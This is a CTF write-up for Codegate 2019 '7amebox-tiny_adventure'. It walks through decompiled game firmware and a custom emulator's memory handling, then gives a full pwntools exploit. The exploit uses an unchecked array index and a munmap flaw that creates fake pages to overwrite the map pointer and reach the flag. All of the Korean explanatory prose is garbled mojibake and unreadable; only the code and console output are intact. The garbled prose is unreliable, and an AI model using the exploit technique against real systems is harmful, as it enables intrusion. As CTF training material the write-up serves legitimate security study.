Codegate CTF 2019 - 7amebox-tiny_adventure

0x00. Introduction

๊ธฐ๋ณธ์ ์ธ ๊ตฌ์กฐ๋Š” 7amebox-name๊ณผ ๋™์ผํ•˜๋‹ค.

โžœ  ls -al
total 64
drwxr-xr-x  2 user user  4096 Jul 30 08:48 .
drwxr-x--- 24 user user  4096 Jul 30 08:48 ..
-rw-r--r--  1 user user   579 Jul 17 03:06 Dockerfile
-rwxr-xr-x  1 user user 30804 Jul 17 03:06 _7amebox_patched.py
-rw-r--r--  1 user user    41 Jul 17 03:06 flag
-rwxr-xr-x  1 user user    21 Jul 17 03:06 run.sh
-rw-r--r--  1 user user  3600 Jul 17 03:06 stage.map
-rw-r--r--  1 user user  3721 Jul 17 03:06 tiny_adventure.firm
-rwxr-xr-x  1 user user   371 Jul 17 03:06 vm_tiny.py

Global variables

int dog_count_0x1000;
int *dog_avatar_0x1003[0x100];
int *map_0x1303;
int sell_count_0x1306;
int hp_0x1309;
int power_0x130c;
int x_0x130f;
int y_0x1312;

Concept

1) show current map
2) buy a dog
3) sell a dog
4) direction help
w a s d) move to direction
>1
-------------------------------------------------
* (\x2a)      = power up
# (\x23)      = wall
@ (\x40)      = you
a ~ y         = monster
z             = boss monster (flag)
-------------------------------------------------

##############################################################
#@                                                           #
#                                     a  f                   #
#                                                            #
#   v            z                                           #
#                     i            p                         #
                            ...                              
##############################################################

stage.map ํŒŒ์ผ์„ ์ฝ์–ด ๋ฉ”๋ชจ๋ฆฌ์— ๋กœ๋“œํ•œ ํ›„ w, a, s, d๋ฅผ ํ†ตํ•ด ์›€์ง์ด๋‹ค๊ฐ€ monster๋ฅผ ์žก์œผ๋ฉด ์ƒ์„ฑ๋˜๋Š” *์„ ํš๋“ํ•ด์„œ power up์„ ํ•œ๋‹ค. ์ด ์™ธ์—๋„ ์ทจ์•ฝ์  ํŠธ๋ฆฌ๊ฑฐ๋ฅผ ์œ„ํ•œ buy_dug, sell_dog ๋ฉ”๋‰ด๊ฐ€ ์žˆ๋‹ค.

Goal

void move_0x383(char choice) {
    ...
_0x534_boss:
    print_0x6a5("you met a boss monster 'z'!\n1) attack\n2) attack\n>");
    read_0x669(choice, 3);

    if(hp_0x1309 < 0x7d0)
        hp_0x1309 = 0;
    else
        hp_0x1309 -= 0x7d0;
    
    if(power_0x130c < 0x2bc)
        *(new_loc) = met;
    else
        flag_0x5bf();
    ...
}

stage.map์— ์žˆ๋Š” z๋ฅผ ๋งŒ๋‚  ๊ฒฝ์šฐ boss ์Šคํ…Œ์ด์ง€๊ฐ€ ์—ด๋ฆฌ๊ณ , hp๋Š” ์‚ฌ์‹ค์ƒ ๊ด€๊ณ„ ์—†์ด power๋งŒ 0x2bc๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™์œผ๋ฉด flag๋ฅผ ์ถœ๋ ฅํ•ด์ค€๋‹ค.

ํ•˜์ง€๋งŒ map์— ์žˆ๋Š” ๋ชจ๋“  monster๋ฅผ ์žก์•„๋„ power ๊ฐ’์„ 0x2bc๋ณด๋‹ค ํฌ๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— exploit ๋ฐฉํ–ฅ์„ map์˜ ์ •๋ณด๋ฅผ ์กฐ์ž‘ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์žก์•˜๋‹ค.

0x01. Vulnerability

Firmware ์‹คํ–‰ ํ›„ ์ฒ˜์Œ ์‹คํ–‰๋˜๋Š” load_map_0x103() ํ•จ์ˆ˜์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ „์—ญ๋ณ€์ˆ˜ ์ดˆ๊ธฐํ™”๊ฐ€ ์ด๋ฃจ์–ด์ง„๋‹ค.

int load_map_0x103() {
    int new_page;   // 0xf5fc5
    int ;           // 0xf5fc8
    int r0;
    
    dog_count_0x1000 = 0;
    memset_0x61b(dog_avatar_0x1003, 0x0, 0x300);
    sell_count_0x1306 = 6;
    hp_0x1309 = 0x78;
    power_0x130c = 0x61;
    x_0x130f = 0;
    y_0x1312 = 0;

    r0 = syscall(0x4, new_page, 0x6);       // mmap(new_page, O_READ | O_WRITE); 0x59000
    map_0x1303 = new_page;
    r0 = open("stage.map");
    syscall(0x3, r0, map_0x1303, 0xe10);    // read(fd, map_0x1303, 0xe10);
    return new_page;
}

์ด ์ค‘ dog_avatar_0x1003์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ™œ์šฉ๋œ๋‹ค.

void buy_dog_0x25c() {
    int choice;
    int new_page;
    int r0;

    r0 = syscall(0x4, new_page, 0x6);  // new_page = mmap(O_READ | O_WRITE);
    if(r0 == 0)
        goto _0x2e5;

    dog_count_0x1000++;
    dog_avatar_0x1003[dog_count_0x1000] = new_page;
    print_0x6a5("do you want to draw a avatar of the dog? (y/n)");
    read_0x669(choice, 0x3);
    if(choice == 'y') {
        read_0x669(new_page, 0x1000);
        print_0x6a5("you got a new dog!");
        goto _0x2fe;
    }
    print_0x6a5("you got a new dog!");

_0x2e5:
    print_0x6a5("you already have too many dogs!");
_0x2fe:
    return;
}

syscall์„ ํ†ตํ•ด์„œ ๋ฉ”๋ชจ๋ฆฌ ํ• ๋‹น์ด ์„ฑ๊ณตํ•˜๋ฉด dog_count_0x1000์ด ์ฆ๊ฐ€ํ•˜๊ณ  ํ•ด๋‹น index์— ํ• ๋‹น๋œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ ์ฃผ์†Œ๋ฅผ ์“ด๋‹ค.

๊ทธ๋Ÿฐ๋ฐ dog_count_0x1000์˜ boundary check๋ฅผ ํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ’์ด 0x101์ด ๋  ๊ฒฝ์šฐ dog_avatar_0x1003 ๋ฐฐ์—ด ๋’ค์— ์žˆ๋Š” map_0x1303์— ๊ฐ’์„ ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค. map_0x1303์—๋Š” stage.map์˜ ๋‚ด์šฉ์„ ์ฝ์–ด ์ €์žฅํ•œ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๊ฐ€ ๋‹ด๊ฒจ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ์กฐ์ž‘ํ•  ๊ฒฝ์šฐ map ์ •๋ณด๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ avatar๋ฅผ ๊ทธ๋ฆฐ๋‹ค๋Š” ๋ช…๋ชฉ์œผ๋กœ ํ• ๋‹น๋ฐ›์€ ๋ฉ”๋ชจ๋ฆฌ์— ๊ฐ’์„ 0x1000๋งŒํผ ์“ธ ์ˆ˜ ์žˆ์–ด์„œ map์˜ ๋‚ด์šฉ๋„ ๋งˆ์Œ๋Œ€๋กœ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.

[*] allocating 0xfa-th page
addr : 0x17000
new perm : 0b1110
do you want to draw a avatar of the dog? (y/n)
>n
[*] allocating 0xfb-th page
addr : 0x78000
new perm : 0b1110
do you want to draw a avatar of the dog? (y/n)
>n
[*] allocating 0xfc-th page
you already have too many dogs!

๋ฌธ์ œ๋Š” 0xfb๋ฒˆ๋งŒ ํ• ๋‹น์ด ๋˜๊ณ  ์‹คํŒจํ–ˆ๋Š”๋ฐ ์ด์œ ๋ฅผ ํ™•์ธํ•ด๋ณด๋‹ˆ,

gef > mmap
0x0     : r-x
0x1000  : rw-
0x59000 : rw-
0xf4000 : rw-
0xf5000 : rw-

์ด๋ฏธ ํ• ๋‹น๋˜์–ด์žˆ๋Š” page๊ฐ€ ์žˆ๊ณ  emulator์—์„œ 0x0 ~ 0xff000์˜์—ญ๋งŒ ํ• ๋‹น ๊ฐ€๋Šฅํ•œ ์˜์—ญ์œผ๋กœ ์ €์žฅํ•˜๊ธฐ ๋•Œ๋ฌธ์ด์—ˆ๋‹ค.

class Memory:
    def __init__(self, size):
        self.memory = [0 for i in range(size)]
        self.pages = {}
        for page in range(0, size, 0x1000):
            self.pages[page] = 0
...
class EMU:
    def __init__(self):
        ...
        self.memory     = Memory(2 ** 20)   # 0x100000
        ...

๋”ฐ๋ผ์„œ index ์—ญํ• ์„ ํ•˜๋Š” dog_count_0x1000 ๊ฐ’์„ 0xfb์—์„œ 0x101๊นŒ์ง€ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด์„œ ์ฆ๊ฐ€์‹œ์ผœ์•ผํ•˜๋Š”๋ฐ, sell_count_0x1306 ๊ฐ’์ด ๋”ฑ ๊ทธ ์ฐจ์ด์ธ 0x6์ด๋ฏ€๋กœ sell_dog_0x304()๋ฅผ ํ™œ์šฉํ•ด์•ผ ํ•œ๋‹ค๋Š” ํ•ฉ๋ฆฌ์ ์ธ ์ถ”๋ก ์„ ํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

void sell_dog_0x304() {
    int choice;     // 0xf5fc5
    int new_page;   // 0xf5fc8

    if(sell_count_0x1306 == 0)
        goto _0x373;
    sell_count_0x1306--;
    print_0x6a5("which dog do you want to sell?");
    read_0x669(choice, 0x4);
    if(choice < 0x100000)
        goto _0x373;
    syscall(0x6, choice);   // munmap(choice);
    print_0x6a5("good bye my dog..");
    goto _0x37d;
_0x373:
    print_0x6a5("you can't sell the dog!");
_0x37d:
    return;
}

ํ•˜์ง€๋งŒ sell_dog_0x304()์˜ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด unmappingํ•  ์ฃผ์†Œ๊ฐ€ 0x100000๋ณด๋‹ค ์ž‘์œผ๋ฉด syscall์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์—†๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋™์  ๋ถ„์„์„ ํ•  ๋•Œ AAAA๋ฅผ ์ž…๋ ฅํ–ˆ๋”๋‹ˆ unmapping์ด ์„ฑ๊ณตํ•œ ๊ธฐ์–ต์ด ์žˆ์–ด emulator ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด์•˜๋‹ค.

class EMU:
    ...
    def sys_s6(self):   # munmap
        addr = self.register.get_register('r1') & 0b111111111000000000000
        self.memory.set_perm(addr, 0b0000)
    ...
class Memory:
    ...
    def set_perm(self, addr, perm):
        self.pages[addr & 0b111111111000000000000] = perm & 0b1111
    ...

Emulator์—์„œ sys_s6()์ด ํ˜ธ์ถœ๋˜๋ฉด Memory ๊ฐ์ฒด์˜ set_perm() ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด page์˜ ๊ถŒํ•œ์„ 0b0000์œผ๋กœ ๋งŒ๋“ค์–ด๋ฒ„๋ฆฐ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ด ๊ณผ์ •์—์„œ ํ•ด๋‹น page๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜์ง€ ์•Š๊ณ  ๊ถŒํ•œ์„ ์ž…๋ ฅํ•˜๋Š”๋ฐ, python์˜ dictionary์—์„œ ์กด์žฌํ•˜์ง€ ์•Š๋Š” key์— ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด key-value ์Œ์„ ์ƒ์„ฑํ•ด์„œ ์ €์žฅํ•œ๋‹ค.

๋”ฐ๋ผ์„œ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ์˜์—ญ์ธ AAAA ์˜์—ญ๋„ unmapping์ด ๊ฐ€๋Šฅํ–ˆ๊ณ , ์ด ์˜์—ญ์ด pages dictionary์— ์ €์žฅ๋˜๋ฏ€๋กœ ํ• ๋‹น๋„ ๊ฐ€๋Šฅํ•˜๋‹ค. ๋ฌผ๋ก  ํ• ๋‹น ์ดํ›„ ๊ฐ’์„ ์“ฐ๊ฑฐ๋‚˜ ์ฝ์œผ๋ ค๊ณ  ํ•˜๋ฉด memory size๋ฅผ ๋„˜์–ด๊ฐ€๋ฏ€๋กœ ์—๋Ÿฌ๊ฐ€ ๋‚œ๋‹ค. ํ•˜์ง€๋งŒ dog_count_0x1000๋ฅผ ์ฆ๊ฐ€์‹œํ‚ค๋Š” ๊ฒƒ์ด ๋ชฉ์ ์ด๋ฏ€๋กœ munmap -> map์„ 6๋ฒˆ ์ˆ˜ํ–‰ํ•˜๊ณ  write๊ฐ€ ๊ฐ€๋Šฅํ•œ ์˜์—ญ์— map ์ •๋ณด๋ฅผ ์“ฐ๋ฉด ๋œ๋‹ค.

0x02. Exploit

Emulator๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•ด์ฃผ๋Š” ๊ณผ์ •์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

    def allocate(self, new_perm, addr=None):
        if addr:
            if not (self.get_perm(addr) & PERM_MAPPED):
                self.set_perm(addr, (PERM_MAPPED | new_perm) & 0b1111)
                return addr
            else:
                return -1

        for page, perm in self.pages.items():
            if not (self.get_perm(page) & PERM_MAPPED):
                self.set_perm(page, (PERM_MAPPED | new_perm) & 0b1111)
                return page
        return -1

์ด๋ ‡๊ฒŒ addr์ด ์ •ํ•ด์ง€์ง€ ์•Š์•˜์„ ๋•Œ, pages dictionary๋ฅผ ์ˆœํšŒํ•˜๋ฉฐ PERM_MAPPED ๊ถŒํ•œ์ด ์—†๋Š” page๋ฅผ returnํ•ด์ค€๋‹ค.

python 2.7์—์„œ๋Š” dictionary๋ฅผ ์ˆœํšŒํ•  ๋•Œ ๋žœ๋คํ•œ ์ˆœ์„œ๋กœ ์ˆœํšŒํ•˜๋Š”๋ฐ๋‹ค, ๊ฐ’์„ ์ดํ›„์— ์ถ”๊ฐ€ํ•œ๋‹ค๊ณ  ํ•˜๋”๋ผ๋„ ์ˆœ์„œ๊ฐ€ ๋งจ ๋’ค์— ์˜ค๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ์ค‘๊ฐ„์— ๋‚„ ์ˆ˜๋„ ์žˆ๋‹ค.

# Python 2.7.18
>>> a = {"A" : 1, "B" : 2, "C" : 3, "D" : 4}
>>> for key in a:
...     print key,
... 
A C B D
>>> a["E"] = 5
>>> for key in a:
...     print key,
... 
A C B E D

๋”ฐ๋ผ์„œ Memory ๊ฐ์ฒด์˜ pages dictionary์— key-value ๊ฐ’์„ ์ถ”๊ฐ€ํ•œ๋‹ค๋ฉด ๋†’์€ ํ™•๋ฅ ๋กœ ์ค‘๊ฐ„์— key๊ฐ€ ์‚ฝ์ž…๋  ๊ฒƒ์ด๋‹ค. ์‹ค์ œ๋กœ emulator๊ฐ€ pages dictionary๋ฅผ ์ƒ์„ฑํ•˜๊ณ  unmapping์„ ํ•˜๋Š” ๊ณผ์ •์„ ๋”ฐ๋ผํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

>>> pages = {}
>>> for page in range(0, 2 ** 20, 0x1000):                      # Memory.__init__()
...     pages[page] = 0
... 
>>> pages[0x100000] = 0                                         # Memory.set_perm()
>>> for index, (page, perm) in enumerate(pages.items()):        # Memory.allocate()
...     if page == 0x100000:
...         print "page 0x100000 is at %d-th index" % index
... 
page 0x100000 is at 98-th index
>>> print "last page %s is at %d-th index" % (hex(page), index)
last page 0x78000 is at 256-th index

๋”ฐ๋ผ์„œ ๋งˆ์ง€๋ง‰ page์ธ 0x78000 ์˜์—ญ์„ ๋‚จ๊ฒจ๋†“๊ณ  ๋ชจ๋“  ์˜์—ญ์„ ํ• ๋‹นํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ๊ตฌ์„ฑํ–ˆ๋‹ค.

    for i in range(0xfa):
        log.info(f"buying : {hex(i + 1)} / 0xfa")
        buy_dog(s, b"n")

์ด๋Ÿฌ๋ฉด dog_count_0x1000๋Š” 0xfa๊นŒ์ง€ ์ฆ๊ฐ€ํ–ˆ์„ ๊ฒƒ์ด๊ณ , sell_dog_0x304()๋ฅผ ์ด์šฉํ•˜์—ฌ 0x6๋งŒํผ ๋” ์ฆ๊ฐ€์‹œํ‚ค๋Š” ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

    for i in range(6):
        log.info(f"selling and buying : {hex(i + 1)} / 0x6")
        sell_dog(s, 0x100000)
        buy_dog(s, b"n")

๋งˆ์ง€๋ง‰์œผ๋กœ ๋‚จ์€ 0x78000 ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹น๋ฐ›์œผ๋ฉด ๋งˆ์นจ๋‚ด dog_count_0x1000๋Š” 0x101์ด ๋˜๋ฉด์„œ map_0x1303์ด 0x78000์œผ๋กœ ๋ฎ์ด๊ฒŒ ๋œ๋‹ค.

์ด์ œ avatar๋ฅผ ๊ทธ๋ฆฌ๊ธฐ ์œ„ํ•ด ์ž…๋ ฅํ•˜๋Š” ๊ฐ’์ด ๊ทธ๋Œ€๋กœ map ์ •๋ณด๊ฐ€ ๋˜๋ฏ€๋กœ, ๋‚˜์˜ ์œ„์น˜์™€ boss๋ฅผ ์ œ์™ธํ•œ map์„ ๋ชจ๋‘ power up์„ ์˜๋ฏธํ•˜๋Š” *์œผ๋กœ ์ฑ„์›Œ๋„ฃ๊ธฐ ์œ„ํ•œ payload๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

    payload = b"@"
    payload += b"*" * 3598
    payload += b"z"
    buy_dog(s, b"y", payload)

์ด์ œ ๋‚จ์€ ๊ฒƒ์€ ์ถฉ๋ถ„ํžˆ power๋ฅผ ๋Š˜๋ ค์„œ boss์™€ ์‹ธ์šฐ๋Š” ๊ฒƒ์ธ๋ฐ, boss๋ฅผ ์ด๊ธฐ๊ธฐ ์œ„ํ•œ ์กฐ๊ฑด์€ power๊ฐ€ 0x2bc๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™์€ ๊ฒƒ์ด๊ณ  power up์„ ํ•˜๋ฉด power๊ฐ€ 0x5๋งŒํผ ์ฆ๊ฐ€ํ•˜๋ฏ€๋กœ, ์ตœ์†Œ 121๋ฒˆ์˜ power up์ด ํ•„์š”ํ•˜๋‹ค ํ˜„์žฌ map์˜ ๋ชจ๋“  ์ž๋ฆฌ๊ฐ€ *์œผ๋กœ ์ฑ„์›Œ์ ธ์žˆ์œผ๋ฏ€๋กœ ์–ด๋””๋กœ๋“  121๋ฒˆ ์ „์— ์ด๋™ํ•œ ์ ์ด ์—†๋Š” ๊ณณ์œผ๋กœ ์ด๋™ํ•˜๋ฉด ๋œ๋‹ค.

    for i in range(2):
        for j in range(60):
            log.info(f"farming...")
            move(s, b"d")
        move(s, b"s")
    move(s, b"w")
    move(s, b"w")
    move(s, b"w")
    move(s, b"a")

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from gameboxlib import *
from time import sleep
import sys

BINARY = "./vm_tiny.py"

bp = {
    'read_of_sell_dog' : 0x341,
    'direction_help' : 0xbf,
}
context.terminal = ['tmux', 'splitw', '-hf']

def set_bp(s, addr):
    s.recv()
    s.sendline(f"b {hex(addr)}".encode())
    sleep(0.1)
    s.sendline(b"c")
    return s.recv()

def buy_dog(s, draw, avatar=""):
    s.sendline(b"2")
    print(s.recvuntil(b">").decode())
    s.sendline(draw)
    if draw == b'y':
        s.sendline(avatar)
    return s.recvuntil(b">")

def sell_dog(s, addr):
    s.sendline(b"3")
    s.recvuntil(b">")
    if type(addr) == bytes:
        s.sendline(addr)
    else:
        s.sendline(p21(addr))
    return s.recvuntil(b">")

def move(s, direction):
    s.sendline(direction)
    return s.recvuntil(b">")

def main():
    if(len(sys.argv) > 1):
        s = remote("localhost", int(sys.argv[1]))
    else:
        s = process(BINARY)
        print(set_bp(s, bp['direction_help']).decode())
    s.recvuntil(b">")

    for i in range(0xfa):
        log.info(f"buying : {hex(i + 1)} / 0xfa")
        buy_dog(s, b"n")

    for i in range(6):
        log.info(f"selling and buying : {hex(i + 1)} / 0x6")
        sell_dog(s, 0x100000)
        buy_dog(s, b"n")

    payload = b"@"
    payload += b"*" * 3598
    payload += b"z"
    buy_dog(s, b"y", payload)

    for i in range(2):
        for j in range(60):
            log.info(f"farming...")
            move(s, b"d")
        move(s, b"s")
    move(s, b"w")
    move(s, b"w")
    move(s, b"w")
    move(s, b"a")
    
    log.info(f"fight!!!")
    s.sendline(b"1")
    print(s.recvuntil(b"}").split(b"\n")[-1])

if __name__=='__main__':
    main()

0x04. Decompile

#define O_MAPPED 0b1000
#define O_READ   0b0100
#define O_WRITE  0b0010
#define O_EXEC   0b0001
char *str_0x6e2 = "====================================================\
                |                PWN ADVENTURE V8.6                |\
                ====================================================\
                |               __                                 |\
                |             _|^ |________                        |\
                |            (____|        |___                    |\
                |                 |________|                       |\
                |                  | |   | |                       |\
                |                                                  |\
                ----------------------------------------------------";
char *str_0xc66 = "====================================================\
                |                  YOU WERE DEAD!                  |\
                ====================================================\
                | HP : 0                                           |\
                |                                                  |\
                |                                                  |\
                |                       ...                        |\
                |                       ___                        |\
                |                      |___|                       |\
                ----------------------------------------------------";
char *str_0x6a5 = "   direction\
                 ________________________________\
                |          W : north             |\
                | A : west             D : east  |\
                |          S : south             |\
                |________________________________|";
char *str_0x9c5 = "-------------------------------------------------\
                * (\x2a)      = power up\
                # (\x23)      = wall\
                @ (\x40)      = you\
                a ~ y         = monster\
                z             = boss monster (flag)\
                -------------------------------------------------";
int dog_count_0x1000;
int *dog_avatar_0x1003[0x100];
int *map_0x1303;
int sell_count_0x1306;
int hp_0x1309;
int power_0x130c;
int x_0x130f;
int y_0x1312;

int read_0x669(int r0, int r1) {
    syscall(0x3, 0x0, r0, r1);  // read(stdin, r0, r1);
}

void memset_0x61b(int *addr, char value, int len) {
    for(int i=0; i<len; i++)
        *(addr + i) = value;
}

int load_map_0x103() {
    int new_page;   // 0xf5fc5
    int ;           // 0xf5fc8
    int r0;
    
    dog_count_0x1000 = 0;
    memset_0x61b(dog_avatar_0x1003, 0x0, 0x300);
    sell_count_0x1306 = 6;
    hp_0x1309 = 0x78;
    power_0x130c = 0x61;
    x_0x130f = 0;
    y_0x1312 = 0;

    r0 = syscall(0x4, new_page, 0x6);       // mmap(new_page, O_READ | O_WRITE); 0x59000
    map_0x1303 = new_page;
    r0 = open("stage.map");
    syscall(0x3, r0, map_0x1303, 0xe10);    // read(fd, map_0x1303, 0xe10);
    return new_page;
}

int hp_check_0x1af() {
    int r0;
    r0 = hp_0x1309;

    if(r0 <= 0) {
        print(str_0xc66);
        r0 = 0;
        goto _0x1e0;
    }
    r0 = 1;
_0x1e0:
    return;
}

void show_map_0x1e6() {
    int r0;

    print_0x6a5(str_0x9c5);
    print_0x6a5("##############################################################");
    r0 = map_0x1303;
    for(int i=0; i<60; i++) {
        write_0x687(1, "#");
        write_0x687(60, r0 + 60 * i);
        write_0x687(1, "#");
    }
    print_0x6a5("##############################################################");
}

void buy_dog_0x25c() {
    int choice;
    int new_page;
    int r0;

    r0 = syscall(0x4, new_page, 0x6);  // new_page = mmap(O_READ | O_WRITE);
    if(r0 == 0)
        goto _0x2e5;

    dog_count_0x1000++;
    dog_avatar_0x1003[dog_count_0x1000] = new_page;
    print_0x6a5("do you want to draw a avatar of the dog? (y/n)");
    read_0x669(choice, 0x3);
    if(choice == 'y') {
        read_0x669(new_page, 0x1000);
        print_0x6a5("you got a new dog!");
        goto _0x2fe;
    }
    print_0x6a5("you got a new dog!");

_0x2e5:
    print_0x6a5("you already have too many dogs!");
_0x2fe:
    return;
}

void sell_dog_0x304() {
    int choice;     // 0xf5fc5
    int new_page;   // 0xf5fc8

    if(sell_count_0x1306 == 0)
        goto _0x373;
    sell_count_0x1306--;
    print_0x6a5("which dog do you want to sell?");
    read_0x669(choice, 0x4);
    if(choice < 0x100000)
        goto _0x373;
    syscall(0x6, choice);   // munmap(choice);
    print_0x6a5("good bye my dog..");
    goto _0x37d;
_0x373:
    print_0x6a5("you can't sell the dog!");
_0x37d:
    return;
}

void move_0x383(char choice) {
    char *new_loc;  // 0xf5fbf
    int map;        // 0xf5fc2
    int choice;     // 0xf5fc5
    char tmp[3];    // 0xf5fc8
    int r0, met, r8, r9;
    char *r5;

    tmp[0] = choice;
    r0 = *map_0x1303;
    map = r0;
    r8 = x_0x130f;
    r9 = y_0x1312;

    r5 = r0 + x_0x130f + y_0x1312 * 60;
    if(*r5 == '@')
        *r5 = ' ';
    if(tmp[0] == 'w')
        y_0x1312 = (y_0x1312 - 1) % 60;
    else if(tmp[0] == 'a')
        x_0x130f = (x_0x130f - 1) % 60;
    else if(tmp[0] == 's')
        y_0x1312 = (y_0x1312 + 1) % 60;
    else
        x_0x130f = (x_0x130f + 1) % 60;

    new_loc = map + x_0x130f + y_0x1312 * 60;
    met = *(new_loc);
    *(new_loc) = '@';
    if(met == ' ')
        goto _0x59f_return;
    else if(met == '*')
        goto _0x505_power_up;
    else if(met == 'z')
        goto _0x534_boss;
    else if(met < 'a' || met > 'z')
        goto _0x59f_return;
    print_0x6a5("you met a monster\n1) attack\n2) attack\n>");
    read_0x669(choice, 3);
    if(hp_0x1309 < 30)
        hp_0x1309 = 0;
    else
        hp_0x1309 -= 30;

    if(met > power_0x130c) {
        *(new_loc) = met;
        goto _0x59f_return;
    }
    *(new_loc) = '*';
    goto _0x59f_return;

_0x505_power_up:
    hp_0x1309 += 40;
    power_0x130c += 5;
    print_0x6a5("power up!");
    goto _0x59f_return;
_0x534_boss:
    print_0x6a5("you met a boss monster 'z'!\n1) attack\n2) attack\n>");
    read_0x669(choice, 3);

    if(hp_0x1309 < 0x7d0)
        hp_0x1309 = 0;
    else
        hp_0x1309 -= 0x7d0;
    
    if(power_0x130c < 0x2bc)
        *(new_loc) = met;
    else
        flag_0x5bf();
_0x59f_return:
    return;
}

void flag_0x5bf() {
    char buf[60];
    int r0;
    memset_0x61b(buf, 0, 60);

    r0 = syscall(0x1, 0xe7a);    // open("flag");
    syscall(0x3, r0, buf, 60);   // read(fd, buf, 60);
    print_0x6a5(buf);

    syscall(0x0);                // exit(0);
    return;
}

void main() {
    int choice;
    int ;
    int r0;

    print_0x6a5(str_0x6e2);
    
    load_map_0x103();
    while(hp_check_0x1af() != 0) {
        print_0x6a5("1) show current map\n2) buy a dog\n3) sell a dog\n4) direction help\nw a s d) move to direction\n>");
        choice = 0;
        read_0x669(choice, 0x3);
        if(choice == '1')
            show_map_0x1e6();
        else if(choice == '2')
            buy_dog_0x25c();
        else if(choice == '3')
            sell_dog_0x304();
        else if(choice == '4')
            print_0x6a5(str_0x6a5);
        else if(choice == 'w')
            move_0x383(choice);
        else if(choice == 'a')
            move_0x383(choice);
        else if(choice == 's')
            move_0x383(choice);
        else if(choice == 'd')
            move_0x383(choice);
    }
_0xfd:
    return;
}